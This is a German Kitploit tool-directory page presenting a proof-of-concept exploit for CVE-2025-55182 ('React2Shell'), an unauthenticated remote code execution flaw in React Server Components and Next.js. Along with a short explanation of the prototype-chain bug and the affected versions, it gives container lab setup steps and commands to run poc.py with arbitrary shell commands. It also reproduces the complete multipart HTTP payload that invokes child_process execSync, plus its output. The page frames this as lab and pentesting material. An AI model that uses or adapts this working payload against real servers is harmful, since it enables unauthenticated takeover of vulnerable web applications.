Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55182 — CVE-2025-55182 — React2Shell | Kitploit
Tools/GitHubGitHub/ryosukedtomita/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubryosukedtomita/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 — React2Shell

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

CVE-2025-55182 — React2Shell

NOLICENSE

INDEX

  • ÜBER
  • UMGEBUNG
  • VERWENDUNG

ÜBER

CVE-2025-55182 („React2Shell“) ist eine nicht authentifizierte RCE-Schwachstelle (CVSS 10.0) im Flight-Protokoll-Deserialisierer von React Server Components.

Übersicht der Schwachstelle

Die reviveModel-Funktion im Flight-Protokoll-Client von React überprüft Objektschlüssel nicht mit hasOwnProperty, sodass Angreifer über die Prototypenkette __proto__ → constructor → Function constructor beliebigen JavaScript-Code ausführen können.

Da ein einziger Multipart-POST mit einem Next-Action-Header die Deserialisierung vor der Authentifizierung auslöst, kann der Angriff ohne Authentifizierung erfolgen.

Betroffene Versionen

KomponenteVerwundbare VersionenKorrigierte Versionen
React19.0.0 – 19.2.019.2.1
Next.js≤ 16.0.616.0.7

UMGEBUNG

Aufbau

root@kitploit:~
CVE-2025-55182/
├── flake.nix          # Nix Dev-Shell (nodejs_20, yarn, python3+requests)
├── poc.py             # Exploit-Skript
└── target/            # Verwundbare Next.js-App
    ├── Containerfile  # Für podman-Build
    ├── package.json   # [email protected] / [email protected]
    ├── next.config.ts
    ├── tsconfig.json
    └── app/
        ├── layout.tsx
        └── page.tsx

Abhängigkeiten

  • Nix — Reproduzierbare Entwicklungsumgebung
  • podman — Container-Runtime
  • Python 3 + requests — PoC-Ausführung

VERWENDUNG

1. Entwicklungs-Shell starten

root@kitploit:~
nix develop

2. Container bauen

root@kitploit:~
podman build -t cve-2025-55182 target/

3. Verwundbaren Server starten

root@kitploit:~
podman run -d -p 3000:3000 --name vuln cve-2025-55182

4. Exploit ausführen

root@kitploit:~
python poc.py http://localhost:3000 "id"

Die Ausgabe des Befehls wird im digest-Feld des JSON-Antworttexts zurückgegeben.

root@kitploit:~
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)

5. Nebenwirkungen prüfen

root@kitploit:~
# Datei schreiben
python poc.py http://localhost:3000 "touch /tmp/pwned"

# Im Container prüfen
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # auch so möglich

Mit Burp Suite prüfen

Vorausgesetzt, Burp läuft unter localhost:8080

root@kitploit:~
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2

--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"

"$@0"
--19a7dba25a68483f4234c90a07a425a2--

6. Aufräumen

root@kitploit:~
podman stop vuln && podman rm vuln
Tool herunterladen